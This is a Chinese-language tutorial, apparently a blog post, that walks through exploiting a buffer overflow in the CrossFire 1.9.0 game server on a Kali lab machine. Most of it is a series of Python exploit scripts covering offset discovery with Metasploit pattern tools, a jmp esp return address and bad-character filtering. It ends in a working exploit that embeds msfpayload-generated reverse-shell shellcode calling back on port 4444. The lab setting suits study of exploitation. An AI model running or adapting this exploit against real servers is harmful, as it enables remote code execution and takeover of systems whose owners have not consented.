1. 程式人生 > >Linux下簡單的緩沖區溢出

Linux下簡單的緩沖區溢出

斷點 lose spl xca bsp IT stat shel 精準

緩沖區溢出是什麽?

科班出身,或者學過匯編的應該知道,當緩沖區邊界限制不嚴格時,由於變量傳入畸形數據或程序運行錯誤,導致緩沖區被“撐爆”,從而覆蓋了相鄰內存區域的數據

成功修改內存數據,可造成進程劫持,執行惡意代碼,獲取服務器控制權等後果


CrossFire

  • 多人在線RPG遊戲
  • 1.9.0 版本接受入站 socket 連接時存在緩沖區溢出漏洞 (服務端)

調試工具

  • edb

運行平臺

  • kali 2.0 x64虛擬機

Linux中內存保護機制

  • DEP
  • ASLR
  • 堆棧 cookies
  • 堆棧粉碎

漏洞太老,避免測試中我們的虛擬機被劫持,可以通過iptables設置目標端口只允許本地訪問,如果網絡是僅主機可以省略

#4444端口是一會開放的測試端口,只允許本地訪問
iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP

#13327是服務端端口,只允許本地訪問
iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP

創建/usr/games/目錄,將crossfire1.9.0服務端解壓到目錄

#解壓
touch /usr/games/
cd /usr/games/
tar zxpf crossfire.tar.gz

運行一下crossfire看看有沒有問題 ./crossfire

技術分享圖片

出現Waiting for connections即可,有問題看看Error

#開啟調試
edb --run /usr/games/crossfire/bin/crossfire

技術分享圖片

右下角是paused暫停狀態

菜單欄 Debug => Run(F9) 點擊兩回可以運行起來

可以通過命令查看程序端口信息

#查看開放端口
netstat -pantu | grep 13327

EIP中存放的是下一條指令的地址

這個程序和一般的溢出不同,它必須發送固定的數據量才可以發生溢出,而不是大於某個數據量都可以,我們構造如下python程序測試

#! /usr/bin/python
import
socket host = "127.0.0.1" crash = "\x41" * 4379 ## \x41為十六進制的大寫A buffer = "\x11(setup sound " + crash + "\x90\x00#" ## \x90是NULL,\x00是空字符 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"

運行後,edb報錯如下技術分享圖片

意思是EIP(存放一下條執行命令的地址)已經被覆蓋成上圖黑體中的地址,而計算機找不到這個地址。這個地址正是由我們輸入的A,說明EIP可控,存在溢出。

這裏你也可以測試增加一個A或者減少一個A發送,會發現後邊兩個數值都不是A,都不可控,也就是說數據量只有為4379時EIP才完全可控

為了查看到底是哪個位置的A才是溢出後的EIP地址,借助工具生成唯一字符串

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 4379

技術分享圖片

復制下來,構造如下python腳本

#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = "唯一字符串"
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

開啟edb啟動程序,運行python程序

技術分享圖片

利用工具確認字符串的位置

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_offset.rb -q 46367046

技術分享圖片

就是說EIP地址前面有4368個字符。 4369,4370,4371,4372的位置存放的是溢出後的EIP地址

我們構造如下python腳本驗證

#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = A*4368 + B*4 + C*7   ## 湊夠4379個字符
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

技術分享圖片

可以看到EIP地址被精準的填充為B字符

技術分享圖片

右鍵ESP,選擇 Follow In Dump 查看數據

技術分享圖片

因為必須是精確的字符才能溢出,就是說ESP寄存器只能存放7個字符,顯然無法存放shellcode

幾個寄存器都查看後,選擇了EAX。因為EAX存放的是我們之前發送的幾千個A,是可控的,且有足夠的大小存放shellcode

技術分享圖片

思路就是讓EIP存放EAX的地址,然後在地址上加12,直接從第一個A的位置開始執行。但是各個機器的EAX的地址也各不相同,不具有通用性,所以直接跳轉的思路就放棄。

既然ESP可以存放7個字符,想到了跳轉EAX並偏移12

技術分享圖片

構造如下python代碼運行

#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = A*4368 + B*4 + \x83\xc0\x0c\xff\xe0\x90\x90
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

首先EIP地址仍然是精準的四個B

技術分享圖片

ESP => Follow In Dump 查看

技術分享圖片

83 c0 0c ff e0 90 90 說明這裏也完美寫入

思路就是EIP => ESP => EAX,EAX存放shellcode,因為ESP地址不固定,需要借助固定的地址跳轉

打開edb,菜單欄 Plugins => OpcodeSearcher => OpcodeSearch

選擇crossfire程序,ESP -> EIP,選擇一個jmp esp 的地址,這個地址是不會變的

技術分享圖片

菜單欄 plugin => breakpointmanager => breakpoints 選擇add增加我們上邊選擇的地址的斷點用來測試。

然後我們測試壞字符,經過測試壞字符是\x00\x0a\x0d\x20

生成shellcode並過濾壞字符

cd /usr/share/framework2/
./msfpayload -l                        #可以生成的shellcode的種類
./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d\x20"

構建python腳本

#!/usr/bin/python
import socket
host = "127.0.0.1"
shellcode = (
"\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+
"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+
"\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+
"\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+
"\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+
"\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+
"\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+
"\x1a\x99\x43\x71\x97\x54\x03")

crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

監聽本地的4444端口,即可獲取一個shell

Linux下簡單的緩沖區溢出